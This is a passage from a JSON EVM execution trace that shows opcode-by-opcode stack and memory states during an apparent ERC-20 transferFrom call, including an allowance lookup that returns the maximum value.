cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x20","0x40","0x310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7249,"op":"DUP7","gas":93205,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0x310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0x0","0x20","0x40","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7250,"op":"AND","gas":93202,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0x310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0x0","0x20","0x40","0xffffffffffffffffffffffffffffffffffffffff","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7251,"op":"DUP4","gas":93199,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0x310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0x0","0x20","0x40","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7252,"op":"MSTORE","gas":93196,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0x310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0x0","0x20","0x40","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7253,"op":"SWAP3","gas":93193,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0x310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0x0","0x20","0x40"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7254,"op":"SWAP1","gas":93190,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0x40","0x0","0x20","0x310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7255,"op":"MSTORE","gas":93187,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0x40","0x0","0x310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0x20"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7256,"op":"KECCAK256","gas":93184,"gasCost":42,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0x40","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7257,"op":"SLOAD","gas":93142,"gasCost":2100,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xd490247213569bdb395c6d8612baa28219f8b9da0879d65aaea77282184cc456"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7258,"op":"PUSH1","gas":91042,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7260,"op":"NOT","gas":91039,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7261,"op":"DUP2","gas":91036,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7262,"op":"EQ","gas":91033,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7263,"op":"PUSH2","gas":91030,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7266,"op":"JUMPI","gas":91027,"gasCost":10,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x1","0x1729"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":5929,"op":"JUMPDEST","gas":91017,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":5930,"op":"POP","gas":91016,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":5931,"op":"POP","gas":91014,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":5932,"op":"POP","gas":91012,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":5933,"op":"POP","gas":91010,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":5934,"op":"JUMP","gas":91008,"gasCost":8,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":3195,"op":"JUMPDEST","gas":91000,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":3196,"op":"PUSH2","gas":90999,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":3199,"op":"DUP6","gas":90996,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":3200,"op":"DUP6","gas":90993,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":3201,"op":"DUP6","gas":90990,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":3202,"op":"PUSH2","gas":90987,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":3205,"op":"JUMP","gas":90984,"gasCost":8,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x1cbf"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7359,"op":"JUMPDEST","gas":90976,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7360,"op":"PUSH1","gas":90975,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7362,"op":"PUSH1","gas":90972,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7364,"op":"PUSH1","gas":90969,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x1","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7366,"op":"SHL","gas":90966,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x1","0x1","0xa0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7367,"op":"SUB","gas":90963,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x1","0x10000000000000000000000000000000000000000"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7368,"op":"DUP4","gas":90960,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7369,"op":"AND","gas":90957,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7370,"op":"PUSH2","gas":90954,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7373,"op":"JUMPI","gas":90951,"gasCost":10,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1d3b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7483,"op":"JUMPDEST","gas":90941,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7484,"op":"PUSH1","gas":90940,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7486,"op":"PUSH1","gas":90937,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe